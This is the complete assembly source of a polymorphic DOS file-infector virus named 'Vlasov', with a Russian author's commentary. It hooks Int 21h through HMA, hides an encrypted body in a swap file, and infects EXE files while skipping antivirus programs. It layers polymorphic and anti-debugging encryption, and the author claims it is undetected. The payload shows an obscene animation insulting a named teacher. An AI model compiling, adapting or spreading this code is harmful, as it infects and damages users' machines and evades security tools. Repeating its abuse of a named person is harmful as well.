DEBUG = 0 ; 1 - включиить отладочный режим ; 0 - выключить отладочный режим COMMENT % EXE.HMA-TSR.POLYMORPH. There is no much free space into HMA, therefore virus has a swap file at the disk (C:\WINA20.386). To hook Int 21h virus patches original DOS handler placed into HMA too. HMA is same for all V86 machines, therefore once installed virus is present at the all tasks. Прошел ровно год со дня выпуска моего последнего продукта... Однако не думайте, что всесь год я страдал хуйней (хотя это, к сожалению, тоже имело место): на подходе еще несколько интересных вещей (осталось доделать буквально пару мелочей). Сейчас перед вами очередной DOS-вирус, НО это первый много- задачный(!) DOS-вирус для WINDOWS. Такого вы еще, я думаю, не видели. Теперь подробнее. 1. Используется оригинальный метод посадки в память. Как известно, в HMA есть немного места - это во-первых. Во-вторых, в HMA чаще всего загружен DOS. В третьих, когда вы закрываете DOS-окно в WINDOWS, HMA не восстанавливается до первоначального вида (чего нельзя сказать об остальной доступной DOS-памяти). И, наконец, самое главное: HMA - общая для всех задач. Для непосвященных: HMA - это High Memory Area (FFFF:0010- FFFF:FFFF). Эта область доступна на процессоре 386 и выше, причем должна быть открыта адресная линия A20. Все выше сказанное мы используем следующим образом: a) Выделяем место в HMA и копируем туда специальную подпрограмму Loader (об этом ниже). b) Ищем в HMA обработчик DOS (для тех, кто не знает: туда обязательно передается управление при каждом вызове Int 21h). Он начинается так: FA cli 80 FC 73 cmp ah,73h 77 xx ja xx c) Заменяем "cmp ah,73h" на "call Loader". Теперь мы висим на Int 21h. Call - ближний, так как мы находимся в одном сегменте с DOS - FFFF. Перед возвратом из Loader нужно выполнить "cmp ah,73h" (на всякий случай). d) Теперь о Loader. Так как в HMA места довольно мало, то прийдется в подпрограмму Loader поместить только подгрузчик основной части вируса, которую нужно записать, например, в своп-файл. Эта программа выделяет место в обычной памяти, копирует туда вирус из файла и передает ему управление. Далее, как в обычном вирусе. Итак, теперь вирус перехватил Int 21h и, так как HMA общая для всех задач, то и вирус существует во всех задачах. Замечание: на практике все несколько сложнее, так что лучше посмотрите исходник. Некоторые детали из вышеописанного для данного вируса: a) Своп-файл шифруется. Кроме того к нему дописывается мусор. Имя своп-файла: "C:\WINA20.386" - стандартный, но никому не нужный файл от Windows 3.11 b) При каждом вызове f.4Bh Int 21h HMA-часть вируса проверяет наличие основного тела в обычной памяти и, по мере надобности, размещает его там. c) Основное тело вируса в памяти также находится в шифрованом виде, и в начале стоит IRET. Перед вызовом основного тела вирус его расшифровывает, а после отработки зашифровывает его вновь и ставит в начало IRET. d) Адрес основного тела вируса хранится в Int 65h (хотя можно в любом другом неиспользуемом инте). Адрес нельзя хранить в теле вируса, чтоб система не проглючила при переключении задач под WINDOWS. e) После передачи управления подпрограмме, которая находится в HMA, устанавливается защита от рекурсии посредством изменения одной из первых команд на JMP Exit, где Exit указывает на конец нашей подпрограммы. 2. Вирус трижды шифрован. a) Первая процедура шифровки - полиморфна и имеет переменную длину. Используются: изменение регистров и мусорные команды. Генератор мусорных команд создает: * 1-байтные команды (а также префиксы сегментов) выбором из списка; * 2-,3-,4-байтные команды вида COMMAND R/M,REG путем получения случайного числа из порта таймера с последующим анализом его битов и добавлением (если нужно) числовых операндов. Это мой первый полиморфик, так что не судите строго. b) Вторая процедура шифровки использует антиэвристический алгоритм, который, по моим данным, еще нигде не использовался: вирус открывает файл-носитель и считывает последние два байта (это ключ расшифровки). Затем вирус стандартно расшифровывает остальную часть кода, после чего проверяет, удачно ли прошла расшифровка. В случае ошибки выводит на экран сообщение и завершает выполение программы. c) Вторая процедура шифровки сама частично зашифрована. Тут применяется довольно оригинальный алгоритм, который я раньше нигде не встречал, а именно - динамическая шифровка/расшифровка. Она реализована следующим образом: сначала устанавливается обработчик Int 1, который шифрует одним ключем команду, которая выполнилась до его вызова, а затем расшифровывает другим ключем команду, которая должна выполниться после. После установки обработчика включается трассировка, и выполняется некоторый участок кода. Затем трассировка выключается. В результате этот участок кода становится зашифрованным уже другим ключем. Этот алгоритм содержит большое количество нюансов и, видимо поэтому, нигде(?) не реализован. Вот некоторые моменты: * После некоторых команд все прерывания (в том числе и Int 1) запрещаются, поэтому команды, стоящие следом за ними, остаются нешифрованными. * Шифруется только один байт каждой команды, т.к. определить длину команды достаточно сложно. * Данный алгоритм нельзя применять, если шифруемый код содержит участки, выполняющиеся неоднократно (подпрограммы, циклы). Это можно исправить, но тогда код должен шифроваться одним и тем же ключем. * Нужно проверять сегмент шифруемой команды, чтоб случайно не зашифровать обработчик того прерывания, которое может возникнуть в процессе выполнения кода. * Нужно учитывать, что первый раз Int 1 вызывается только после команды, следующей за командой включения трассировки, и уже не вызывается после команды выключения трассировки. Данный алгоритм показал свою эффективность в плане обламывания всех имеющихся у меня отладчиков (вроде бы даже WinIce 4.0). 3. Заражение файлов. a) Вирус стандартно заражает MZ-EXE файлы при запуске, дописываясь в конец. b) Проверка типа файла происходит как по расширению, так и по первым двум байтам файла. c) После заражения файл становится оверлейным (в конце находится ключ для расшифровки). Так как вирус не трогает оверлейные файлы, то повторного заражения произойти не может. d) Не заражает некоторые антивирусы (DR*,AD*,AV*,TB*). e) Не портит NewEXE (NE,PE,LE,LX) - для них сделана специальная проверка. f) Обрабатывает атрибут "Только чтение". Не изменяет атрибуты и время создания файла. g) Есть заглушка на Int 24h. Не глючит на защищенных от записи дискетах. h) Базовая длина вируса (без полиморфного расшифровщика) - 2400 байта. После заражения размер файла увеличивается в среднем на 2500 байт. i) Есть режим отладки, при котором вирус заражает только файлы, имена которых начинаются на "ZZ". Для включения этого режима надо установить DEBUG=1 (по умолчанию - 0). 4. Вирус содержит прикольную демку, которая активизируется при заражении каждого 256-го файла. Краткое описание демки: внизу экрана из стороны в сторону ездит тележка. На тележке стоит хуй, который брызгает спермой. Из спермы выкладывается надпись: "ВЛАСОВ - ПИДОР". Лирическое отступление: Власов - препод по информатике. Это человек, который нихуя не знает, но при этом обладает просто фантастическим самомнением. ИТОГ: Многозадачный полиморфный MZ-EXE вирус, полностью совместимый с WINDOWS и созданный специально для WINDOWS. Не детектируется (пока) никакими антивирусами. Содержит прикольную графическую демку. Многочисленные испытания доказали его работоспособность и отсутствие глюков на момент выпуска в свет. DJ Sadovnikov (http://i.am/djsad), 18.11.1999 ══════════════════════════════════════════════════════════════════════════════ Компилировать с помощью TASM 4.1+ tasm /m vlasov.asm tlink /x vlasov.obj del vlasov.obj Файлы из архива: vlasov.asm 34000 (исходник вируса) vlasov.exe 2945 (бинарник вируса) vlasov.com 777 (демка отдельно) vlasov.doc 4500 (техническая информация) % ;══════════════════════════════════════════════════════════════════════════════ .286 Code segment assume cs:Code, ds:Code Start: mov ah, 9 mov dx, offset Msg+100h int 21h mov ax, 4C00h int 21h Msg db 'Virus has started...$' ;══════════════════════════════════════════════════════════════════════════════ ;══════════════════════════════════════════════════════════════════════════════ ; НАЧАЛО ВИРУСА ;══════════════════════════════════════════════════════════════════════════════ Virus: pusha push ds es ;[Вычисляем точку входа в вирус] call GetIP GetIP: pop si sub si, GetIP-Virus ;[Устанавливаем обработчик трассировки] mov ax, 2501h lea dx, [Int01h-Virus+si] push cs pop ds int 21h ;[Устанавливаем начальные значения для расшифровки] lea ax, [BegCr-Virus+si] mov ds:[PrevOfs+1-Virus+si], ax mov ds:[PrevSeg+2-Virus+si], cs mov al, ds:[PrevXor+3-Virus+si] mov ds:[NextXor+3-Virus+si], al xor ds:[BegCr-Virus+si], al xor ds:[EndCr-Virus+si], al in al, 40h mov ds:[PrevXor+3-Virus+si], al ;[DS = Environment segment] push es:[2Ch] pop ds ;[Ищем имя файла-носителя] mov di, 4 Loop00: cmp ds:[di-4], word ptr 0000 jne L3 cmp ds:[di-2], word ptr 0001 je Found1 L3: inc di jmp Loop00 ;[Включаем трассировку] Found1: pushf pop ax or ah, 00000001b push ax popf BegCr: ;[Открываем файл-носитель] mov ax, 3D00h mov dx, di int 21h xchg bx, ax ;[Устанавливаем указатель на два байта от конца файла] mov ax, 4202h mov cx, 0FFFFh mov dx, 0FFFEh int 21h ;[Считываем последние два байта файла] mov ah, 3Fh mov cx, 2 lea dx, [Key1-Virus+si] push cs pop ds int 21h ;[Закрываем файл-носитель] mov ah, 3Eh int 21h ;[Выключаем трассировку] pushf pop ax and ah, 11111110b push ax popf EndCr: ;[Расшифровываем вирус] Key1 equ $+1 mov ax, 0 mov bx, Crypt-Virus Loop01: add ds:[bx+si], al add al, ah inc bx cmp bx, CodeSize jne Loop01 ;[Проверяем правильность расшифровки] cmp ds:[Crypt-Virus+si], 01B8h je Crypt mov ah, 9 lea dx, [Modified-Virus+si] int 21h mov ax, 4CFFh int 21h Modified db 'Program is modified! Exiting...$' ;══════════════════════════════════════════════════════════════════════════════ Int01h: pusha mov bp, sp mov cx, cs ;[Получаем точку входа в Int 01h] call Int1 Int1: pop si ;[Если предыдущая команда находится в нашем сегменте - шифруем ее] PrevSeg: cmp cx, 1234h jne L1 PrevOfs: mov bx, 1234h PrevXor: xor cs:[bx], byte ptr 0 ;[Если следующая команда находится в нашем сегменте - расшифроываем ее] L1: cmp cx, [bp+18] jne L2 mov bx, [bp+16] NextXor: xor cs:[bx], byte ptr 0 ;[Сохраняем адрес следующей команды] L2: mov ax, [bp+18] mov cs:[PrevSeg+2-Int1+si], ax mov ax, [bp+16] mov cs:[PrevOfs+1-Int1+si], ax popa iret ;══════════════════════════════════════════════════════════════════════════════ ;[Проверяем, есть ли в HMA место для LOADER'а] Crypt: mov ax, 4A01h int 2Fh cmp bx, LoaderSize jae MemOk jmp Quit1 MemOk: push es pop ds ;[Ищем в HMA начало обработчика Int21h] mov di, 4 Loop02: cmp ds:[di-4], 80FAh jne L4 cmp ds:[di-2], 73FCh jne L4 cmp ds:[di], byte ptr 77h je Found2 L4: inc di jnz Loop02 jmp Quit1 Found2: push di ;[Запоминаем ключ для зашифровки вируса в памяти] push cs pop ds in al, 40h mov ds:[Key2-Virus+si], al ;[Выделяем память для LOADER'а в HMA] mov ax, 4A02h mov bx, LoaderSize int 2Fh push di ;[Копируем LOADER в выделенную память] push si mov cx, LoaderSize add si, Loader-Virus cld rep movsb pop si ;[Делаем сплайсинг в начало обработчика] pop ax pop bx sub ax, bx cli mov es:[bx-3], byte ptr 0E8h mov es:[bx-2], ax sti ;[Создаем SWAP-файл] mov ah, 3Ch xor cx, cx lea dx, [SwapName-Virus+si] int 21h jc Quit1 xchg ax, bx ;[Шифруем вирус и записываем его в SWAP-файл] xor di, di Loop03: xchg bx, di mov al, ds:[si+bx] xor al, ds:[Key2-Virus+si] mov ds:[OneByte-Virus+si], al xchg di, bx mov cx, 1 lea dx, [OneByte-Virus+si] call Write jc Close2 inc di cmp di, CodeSize jne Loop03 ;[Дописываем в SWAP мусор] in ax, 40h mov ds, ax mov cx, ax mov dx, ax mov ah, 40h int 21h ;[Закрываем SWAP-файл] Close2: mov ah, 3Eh int 21h ;[Отдаем управление зараженной программе] Quit1: pop es ds mov ax, es add ax, 10h add cs:[OldCS-Virus+si], ax add cs:[OldSS+1-Virus+si], ax popa jmp $+2 cli OldSS: mov sp, 0 mov ss, sp OldSP: mov sp, 0 sti db 0EAh OldIP dw 0 OldCS dw 0 OneByte db 0 ;══════════════════════════════════════════════════════════════════════════════ ;══════════════════════════════════════════════════════════════════════════════ ; HMA-LOADER ;══════════════════════════════════════════════════════════════════════════════ Loader: cmp ah, 4Bh Rest: jne Dos pusha push ds es ;[Получаем точку входа в Loader] call Entry Entry: pop si push si push dx push ds ;[Устанавливаем защиту от рекурсии] push cs pop ds mov ds:[Rest-Entry+si], byte ptr 0EBh ;[Проверяем наличие вируса в DOS-памяти] mov ax, 3565h int 21h cmp bx, Int21h-Virus je CallVir ;[Открываем SWAP-файл] mov ax, 3D00h lea dx, [SwapName-Entry+si] int 21h jnc L5 pop ds pop dx jmp Quit2 ;[Выделяем память для вируса] L5: push ax mov ah, 48h mov bx, MemSize/16+1 int 21h pop bx jc Close3 ;[Помечаем блок памяти как системную область] push ax dec ax mov ds, ax mov ds:[1], word ptr 8 pop ds ;[Копируем вирус из SWAP-файла в память] mov ah, 3Fh mov cx, CodeSize xor dx, dx int 21h ;[Закрываем SWAP-файл] Close3: pushf mov ah, 3Eh int 21h popf jc Quit2 ;[Устанавливаем вектора прерываний] mov ax, 2565h mov dx, Int21h-Virus int 21h ;[Расшифровываем вирус] CallVir: call Encrypt mov ds:[Int21h-Virus], byte ptr 60h ;[Вызываем вирусный обработчик Int21h] pop ds pop dx int 65h ;[Зашифровываем вирус] call Encrypt mov ds:[Int21h-Virus], byte ptr 0CFh ;[Снимаем защиту от рекурсии] Quit2: pop si mov cs:[Rest-Entry+si], byte ptr 75h pop es ds popa ;[Отдаем управление настоящему обработчику Int 21h] Dos: cmp ah, 73h ret ;══════════════════════════════════════════════════════════════════════════════ Encrypt: mov ax, 3565h int 21h push es pop ds xor bx, bx mov cx, MemSize Key2 equ $+2 Loop04: xor ds:[bx], byte ptr 0 inc bx loop Loop04 ret SwapName db 'C:\WINA20.386',0 LoaderSize = $ - Loader ;══════════════════════════════════════════════════════════════════════════════ ;══════════════════════════════════════════════════════════════════════════════ ; ОБРАБОТЧИК INT 21h ;══════════════════════════════════════════════════════════════════════════════ Int24h: mov al, 3 iret Int21h: pusha push ds es ;[Сохраняем вектор Int 24h] mov ax, 3524h int 21h push es push bx ;[Устанавливаем свой обработчик Int 24h] push ds dx mov ax, 2524h mov dx, Int24h-Virus push cs pop ds int 21h pop dx ds ;[Проверяем допустимость имени файла] call TestFile jc Quit3 ;[Сохраняем атрибуты файла] mov ax, 4300h int 21h jc Quit3 push cx push dx push ds ;[Обнуляем атрибуты файла] mov ax, 4301h xor cx, cx int 21h jc RestAttr ;[Открываем файл] mov ax, 3D02h int 21h jc RestAttr xchg bx, ax ;[Сохраняем время и дату создания файла] mov ax, 5700h int 21h jc Close4 push dx push cx ;[Считываем заголовок EXE и проверяем тип файла] mov cx, 18h mov dx, Header-Virus call Read jc RestTime cmp ds:[Header-Virus], 'ZM' je L6 ;══════════════════════════════════════════════════════════════════════════════ ;[Восстанавливаем дату и время создания файла] RestTime: mov ax, 5701h pop cx pop dx int 21h ;[Закрываем файл] Close4: mov ah, 3Eh int 21h ;[Восстанавливаем атрибуты файла] RestAttr: mov ax, 4301h pop ds pop dx pop cx int 21h ;[Восстанавливаем вектор Int 24h] Quit3: mov ax, 2524h pop dx pop ds int 21h ;[Отдаем управление настоящему обработчику Int21h] pop es ds popa iret ;══════════════════════════════════════════════════════════════════════════════ ;[Устанавливаем указатель на 3Ch байт от начала файла] L6: mov ax, 4200h xor cx, cx mov dx, 3Ch int 21h jc RestTime ;[Считываем адрес NewEXE заголовка] call Read4b jc RestTime ;[Устанавливаем указатель на NewEXE заголовок] mov ax, 4200h mov dx, ds:[Temp-Virus] mov cx, ds:[Temp+2-Virus] int 21h jc RestTime ;[Считываем первые четыре байта NewEXE заголовка] call Read4b jc RestTime ;[Если NewEXE заголовок присутствует, то выходим] mov di, NewEXE-Virus mov ax, ds:[Temp-Virus] call CmpStr jc RestTime ;[Содержит ли файл оверлеи?] call GetFSize jc RestTime call Into512 cmp ds:[Header-Virus+4], ax jne RestTime cmp ds:[Header-Virus+2], dx jne RestTime ;[Генерируем полиморфный расшифровщик] push bx call PoliGen pop bx ;[Вычисляем длину файла с вирусом и вносим ее в заголовок EXE] call GetFSize jc RestTime add ax, si adc dx, 0 add ax, CodeSize adc dx, 0 call Into512 mov ds:[Header-Virus+4], ax mov ds:[Header-Virus+2], dx ;[Сохраняем SS, SP, CS и IP] mov ax, ds:[Header+0Eh-Virus] mov ds:[OldSS+1-Virus], ax mov ax, ds:[Header+10h-Virus] mov ds:[OldSP+1-Virus], ax mov ax, ds:[Header+16h-Virus] mov ds:[OldCS-Virus], ax mov ax, ds:[Header+14h-Virus] mov ds:[OldIP-Virus], ax ;[Корректируем точку входа и адрес стека] call GetFSize jc RestTimeB mov cx, 16 div cx sub ax, ds:[Header+08h-Virus] mov ds:[Header+16h-Virus], ax mov ds:[Header+14h-Virus], dx mov ds:[Header+0Eh-Virus], ax mov ds:[Header+10h-Virus], CodeSize+100h ;[Дописываем полиморфный расшифровщик к файлу] mov cx, si mov dx, Buffer-Virus call Write jc RestTimeB ;[Копируем вирус в буффер] xor di, di mov cx, CodeSize Loop05: mov al, ds:[di] mov ds:[Buffer-Virus+di], al inc di loop Loop05 ;[Получаем случайное число] in ax, 40h mov ds:[Key4-Virus], ax ;[Первый раз шифруем вирус] mov di, (Buffer-Virus)+(Crypt-Virus) mov cx, CodeSize-(Crypt-Virus) Loop06: sub ds:[di], al add al, ah inc di loop Loop06 ;[Второй раз шифруем вирус] mov di, Buffer-Virus mov cx, CodeSize Key3 equ $+2 Loop07: xor ds:[di], byte ptr 0 inc di loop Loop07 ;[Записываем вирус] mov cx, CodeSize+2 mov dx, Buffer-Virus call Write jc RestTimeB ;[Записываем новый заголовок EXE] call SeekStart jc RestTimeB mov cx, 18h mov dx, Header-Virus call Write jc RestTimeB ;[Увеличиваем счетчик заражений] inc word ptr ds:[Counter-Virus] cmp byte ptr ds:[Counter-Virus], 0 jne RestTimeB call ShowDemo RestTimeB: jmp RestTime NewEXE db 'NEPELELX' Counter dw 1 ;══════════════════════════════════════════════════════════════════════════════ ;══════════════════════════════════════════════════════════════════════════════ ; ПОДПРОГРАММЫ ;══════════════════════════════════════════════════════════════════════════════ GetFSize: SeekEnd: mov al, 2 jmp $+4 SeekStart: mov al, 0 mov ah, 42h xor cx, cx xor dx, dx int 21h ret ;══════════════════════════════════════════════════════════════════════════════ Read: mov ah, 3Fh jmp $+4 Write: mov ah, 40h push cs pop ds int 21h ret ;══════════════════════════════════════════════════════════════════════════════ Read4b: mov cx, 4 mov dx, Temp-Virus call Read ret ;══════════════════════════════════════════════════════════════════════════════ Into512: mov cx, 512 div cx or dx, dx jz $+3 inc ax ret ;══════════════════════════════════════════════════════════════════════════════ CmpStr: mov cx, 4 Loop08: cmp cs:[di], ax jne $+4 stc ret inc di inc di loop Loop08 clc ret ;══════════════════════════════════════════════════════════════════════════════ ;══════════════════════════════════════════════════════════════════════════════ ; ПРОВЕРКА ДОПУСТИМОСТИ ИМЕНИ ФАЙЛА ;══════════════════════════════════════════════════════════════════════════════ TestFile: ;[Устанавливаем SI на начало, а DI - на конец имени файла] mov di, dx mov si, di Loop09: inc di cmp ds:[di-1], byte ptr '\' jne L7 mov si, di L7: cmp ds:[di-1], byte ptr 0 jne Loop09 ;[Проверяем расширение файла] mov ax, ds:[di-5] and ah, 0DFh cmp ax, 'E.' jne Error mov ax, ds:[di-3] and ax, 0DFDFh cmp ax, 'EX' jne Error ;[Проверяем имя файла] mov di, AntiVir-Virus mov ax, ds:[si] and ax, 0DFDFh call CmpStr jc Error IF DEBUG cmp ax, 'ZZ' jne Error ENDIF clc ret Error: stc ret AntiVir db 'DRADAVTB' ;══════════════════════════════════════════════════════════════════════════════ ;══════════════════════════════════════════════════════════════════════════════ ; ПОЛИМОРФИК ;══════════════════════════════════════════════════════════════════════════════ Store MACRO d1, d2, d3, d4 pop di mov ds:[Buffer-Virus+di], byte ptr d1 pop di mov ds:[Buffer-Virus+di], byte ptr d2 pop di mov ds:[Buffer-Virus+di], byte ptr d3 pop di mov ds:[Buffer-Virus+di], byte ptr d4 ENDM ;══════════════════════════════════════════════════════════════════════════════ PoliGen: xor si, si call GenA mov ds:[Buffer-Virus+si], byte ptr 0E8h inc si mov di, si inc si inc si mov dx, si push si call GenA pop cx sub cx, si neg cx mov ds:[Buffer-Virus+di], cx call GenA push si inc si call GenA mov ds:[Buffer-Virus+si], byte ptr 083h inc si push si inc si mov ds:[Buffer-Virus+si], dl inc si call GenA mov ds:[Buffer-Virus+si], byte ptr 0B9h inc si in ax, 40h mov ds:[Buffer-Virus+si], ax inc si inc si push ax call GenA pop ax mov ds:[Buffer-Virus+si], 0E981h inc si inc si sub ax, CodeSize mov ds:[Buffer-Virus+si], ax inc si mov dx, si inc si call GenA mov ds:[Buffer-Virus+si], 802Eh inc si inc si push si inc si mov di, si inc si inc si in al, 40h mov ds:[Buffer-Virus+si], al mov ds:[Key3-Virus], al inc si call GenA push si inc si call GenA mov ds:[Buffer-Virus+si], byte ptr 0E2h inc si sub dx, si mov ds:[Buffer-Virus+si], dl inc si mov ds:[Buffer-Virus+di], si ;══════════════════════════════════════════════════════════════════════════════ in al, 40h and al, 11b cmp al, 1 je ifBP cmp al, 2 je ifSI cmp al, 3 je ifDI ifBX: store 043h, 0B7h, 0EBh, 05Bh ret ifBP: store 045h, 0B6h, 0EDh, 05Dh ret ifSI: store 046h, 0B4h, 0EEh, 05Eh ret ifDI: store 047h, 0B5h, 0EFh, 05Fh ret ;══════════════════════════════════════════════════════════════════════════════ GenA: in ax, 40h and ax, 11b mov cx, ax inc cx Loop10: call Gen1 call Gen2 loop Loop10 ret Gen1: in al, 40h and al, 1111b mov bx, Opcodes-Virus xlat mov ds:[Buffer-Virus+si], al inc si ret Gen2: in ax, 40h and ah, 00111011b mov bx, ax and al, 11000000b cmp al, 11000000b je AllRegs and bh, 11111110b or bh, 00000010b AllRegs: mov ax, bx and ah, 00000011b cmp ah, 00000010b je Regs2 cmp ah, 00000001b je Regs3 cmp ah, 00000011b je Regs4 Regs1: and al, 00000111b cmp al, 00000001b je Gen2 cmp al, 00000011b je Gen2 cmp al, 00000101b je Gen2 cmp al, 00000111b je Gen2 jmp StoreC Regs2: and al, 00111000b cmp al, 00001000b je Gen2 cmp al, 00011000b je Gen2 cmp al, 00101000b je Gen2 cmp al, 00111000b je Gen2 jmp StoreC Regs3: and al, 00000111b cmp al, 00000000b je StoreC cmp al, 00000010b je StoreC jmp Gen2 Regs4: and al, 00111000b cmp al, 00000000b je StoreC cmp al, 00010000b je StoreC jmp Gen2 ;══════════════════════════════════════════════════════════════════════════════ StoreC: xchg bh, bl mov ds:[Buffer-Virus+si], bx xchg bh, bl inc si inc si mov ax, bx and al, 11000000b cmp al, 11000000b je D0 cmp al, 01000000b je D8 cmp al, 10000000b je D16 mov ax, bx and al, 00000111b cmp al, 00000110b jne D0 D16: in ax, 40h mov ds:[Buffer-Virus+si], ax inc si inc si ret D8: in al, 40h mov ds:[Buffer-Virus+si], al inc si D0: ret Opcodes db 026h,02Eh,036h,03Eh,040h,042h,048h,04Ah db 090h,092h,098h,099h,0CCh,0F5h,0F8h,0F9h ;══════════════════════════════════════════════════════════════════════════════ ;══════════════════════════════════════════════════════════════════════════════ ; ДЕМКА ;══════════════════════════════════════════════════════════════════════════════ ShowDemo: mov ah, 0Fh int 10h mov ah, 0 push ax mov al, 13h int 10h push 0A000h pop es xor di, di mov al, 3 mov cx, 320*185 rep stosb mov al, 2 mov cx, 320*015 rep stosb ;══════════════════════════════════════════════════════════════════════════════ xor bp, bp xor dx, dx mov si, Spr1-Virus mov di, 320*160 Loop11: mov cx, ds:[Cord-Virus+bp] mov ax, 157 Loop12: dec ax sub cx, 320 jnc Loop12 add cx, 320 push cx sub cx, dx pop dx jcxz NoMove mov ds:[GZero-Virus], byte ptr 47h jnc GZero mov ds:[GZero-Virus], byte ptr 4Fh neg cx GZero: inc di call ShowSpr loop GZero NoMove: pusha sub di, 320*5-8 mov si, Spr2-Virus xchg cx, ax Loop13: call ShowSpr sub di, 320 loop Loop13 popa inc bp inc bp cmp bp, CordSize jne Loop11 xor ax, ax int 16h pop ax int 10h ret ;══════════════════════════════════════════════════════════════════════════════ ShowSpr: pusha xor dx, dx xor cx, cx lodsw mov dl, al mov cl, ah Loop14: push cx push dx Loop15: lodsb mov cl, al sub dl, al lodsb rep stosb cmp dl, 0 jne Loop15 pop dx sub di, dx add di, 320 pop cx loop Loop14 mov cx, 0FFFFh loop $ popa ret ;══════════════════════════════════════════════════════════════════════════════ Spr1 db 39,25 db 09,03, 01,13, 01,05, 01,13, 27,03 db 08,03, 02,13, 01,05, 02,13, 26,03 db 07,03, 07,13, 25,03 db 06,03, 09,13, 24,03 db 07,03, 01,12, 05,13, 01,12, 25,03 db 07,03, 07,12, 25,03 db 07,03, 07,12, 25,03 db 07,03, 07,12, 25,03 db 07,03, 07,12, 25,03 db 07,03, 07,12, 18,03, 03,01, 04,03 db 07,03, 07,12, 18,03, 03,01, 04,03 db 07,03, 07,12, 18,03, 03,01, 04,03 db 05,03, 11,12, 09,03, 04,01, 03,03, 03,01, 04,03 db 04,03, 13,12, 08,03, 04,01, 03,03, 03,01, 04,03 db 03,03, 15,12, 05,03, 14,01, 02,03 db 03,03, 15,12, 05,03, 05,01, 02,00, 04,01, 02,00, 02,01, 01,03 db 03,03, 15,12, 05,03, 05,01, 02,00, 04,01, 02,00, 02,01, 01,03 db 03,03, 15,12, 05,03, 15,01, 01,03 db 04,03, 06,12, 01,03, 06,12, 05,03, 01,06, 15,10, 01,03 db 05,03, 04,12, 03,03, 04,12, 05,03, 01,06, 01,03, 15,01, 01,03 db 01,03, 20,06, 02,03, 15,06, 01,03 db 03,03, 02,08, 11,03, 02,08, 07,03, 02,08, 06,03, 02,08, 04,03 db 02,03, 01,08, 02,06, 01,08, 09,03, 01,08, 02,06, 01,08, 05,03, 01,08, 02,06, 01,08, 04,03, 01,08, 02,06, 01,08, 03,03 db 02,03, 01,08, 02,06, 01,08, 09,03, 01,08, 02,06, 01,08, 05,03, 01,08, 02,06, 01,08, 04,03, 01,08, 02,06, 01,08, 03,03 db 03,03, 02,08, 11,03, 02,08, 07,03, 02,08, 06,03, 02,08, 04,03 Spr2 db 05,05 db 01,03, 03,15, 01,03 db 01,15, 03,07, 01,15 db 01,03, 01,15, 01,07, 01,15, 01,03 db 02,03, 01,15, 02,03 db 05,03 Cord dw 020 + 010 * 320 ;В 1 dw 026 + 010 * 320 ;В 1 dw 032 + 010 * 320 ;В 1 dw 020 + 015 * 320 ;В 2 dw 036 + 015 * 320 ;В 2 dw 020 + 020 * 320 ;В 3 dw 026 + 020 * 320 ;В 3 dw 032 + 020 * 320 ;В 3 dw 020 + 025 * 320 ;В 4 dw 036 + 025 * 320 ;В 4 dw 020 + 030 * 320 ;В 5 dw 026 + 030 * 320 ;В 5 dw 032 + 030 * 320 ;В 5 dw 058 + 010 * 320 ;Л 1 dw 055 + 015 * 320 ;Л 2 dw 061 + 015 * 320 ;Л 2 dw 052 + 020 * 320 ;Л 3 dw 064 + 020 * 320 ;Л 3 dw 049 + 025 * 320 ;Л 4 dw 067 + 025 * 320 ;Л 4 dw 046 + 030 * 320 ;Л 5 dw 070 + 030 * 320 ;Л 5 dw 092 + 010 * 320 ;А 1 dw 089 + 015 * 320 ;А 2 dw 095 + 015 * 320 ;А 2 dw 086 + 020 * 320 ;А 3 dw 098 + 020 * 320 ;А 3 dw 083 + 025 * 320 ;А 4 dw 089 + 025 * 320 ;А 4 dw 095 + 025 * 320 ;А 4 dw 101 + 025 * 320 ;А 4 dw 080 + 030 * 320 ;А 5 dw 104 + 030 * 320 ;А 5 dw 119 + 010 * 320 ;С 1 dw 125 + 010 * 320 ;С 1 dw 114 + 014 * 320 ;С 2 dw 130 + 014 * 320 ;С 2 dw 114 + 020 * 320 ;С 3 dw 114 + 026 * 320 ;С 4 dw 130 + 026 * 320 ;С 4 dw 119 + 030 * 320 ;С 5 dw 125 + 030 * 320 ;С 5 dw 147 + 010 * 320 ;О 1 dw 153 + 010 * 320 ;О 1 dw 142 + 015 * 320 ;О 2 dw 158 + 015 * 320 ;О 2 dw 142 + 020 * 320 ;О 3 dw 158 + 020 * 320 ;О 3 dw 142 + 025 * 320 ;О 4 dw 158 + 025 * 320 ;О 4 dw 147 + 030 * 320 ;О 5 dw 153 + 030 * 320 ;О 5 dw 170 + 010 * 320 ;В 1 dw 176 + 010 * 320 ;В 1 dw 182 + 010 * 320 ;В 1 dw 170 + 015 * 320 ;В 2 dw 186 + 015 * 320 ;В 2 dw 170 + 020 * 320 ;В 3 dw 176 + 020 * 320 ;В 3 dw 182 + 020 * 320 ;В 3 dw 170 + 025 * 320 ;В 4 dw 186 + 025 * 320 ;В 4 dw 170 + 030 * 320 ;В 5 dw 176 + 030 * 320 ;В 5 dw 182 + 030 * 320 ;В 5 dw 200 + 020 * 320 ;- 3 dw 206 + 020 * 320 ;- 3 dw 212 + 020 * 320 ;- 3 dw 103 + 055 * 320 ;- 6 dw 109 + 055 * 320 ;- 6 dw 115 + 055 * 320 ;- 6 dw 130 + 045 * 320 ;П 6 dw 136 + 045 * 320 ;П 6 dw 142 + 045 * 320 ;П 6 dw 148 + 045 * 320 ;П 6 dw 130 + 050 * 320 ;П 7 dw 148 + 050 * 320 ;П 7 dw 130 + 055 * 320 ;П 8 dw 148 + 055 * 320 ;П 8 dw 130 + 060 * 320 ;П 9 dw 148 + 060 * 320 ;П 9 dw 130 + 065 * 320 ;П 10 dw 148 + 065 * 320 ;П 10 dw 161 + 045 * 320 ;И 6 dw 179 + 045 * 320 ;И 6 dw 161 + 050 * 320 ;И 7 dw 173 + 050 * 320 ;И 7 dw 179 + 050 * 320 ;И 7 dw 161 + 055 * 320 ;И 8 dw 170 + 055 * 320 ;И 8 dw 179 + 055 * 320 ;И 8 dw 161 + 060 * 320 ;И 9 dw 167 + 060 * 320 ;И 9 dw 179 + 060 * 320 ;И 9 dw 161 + 065 * 320 ;И 10 dw 179 + 065 * 320 ;И 10 dw 197 + 045 * 320 ;Д 6 dw 203 + 045 * 320 ;Д 6 dw 209 + 045 * 320 ;Д 6 dw 197 + 050 * 320 ;Д 7 dw 209 + 050 * 320 ;Д 7 dw 197 + 055 * 320 ;Д 8 dw 209 + 055 * 320 ;Д 8 dw 191 + 060 * 320 ;Д 9 dw 197 + 060 * 320 ;Д 9 dw 203 + 060 * 320 ;Д 9 dw 209 + 060 * 320 ;Д 9 dw 215 + 060 * 320 ;Д 9 dw 191 + 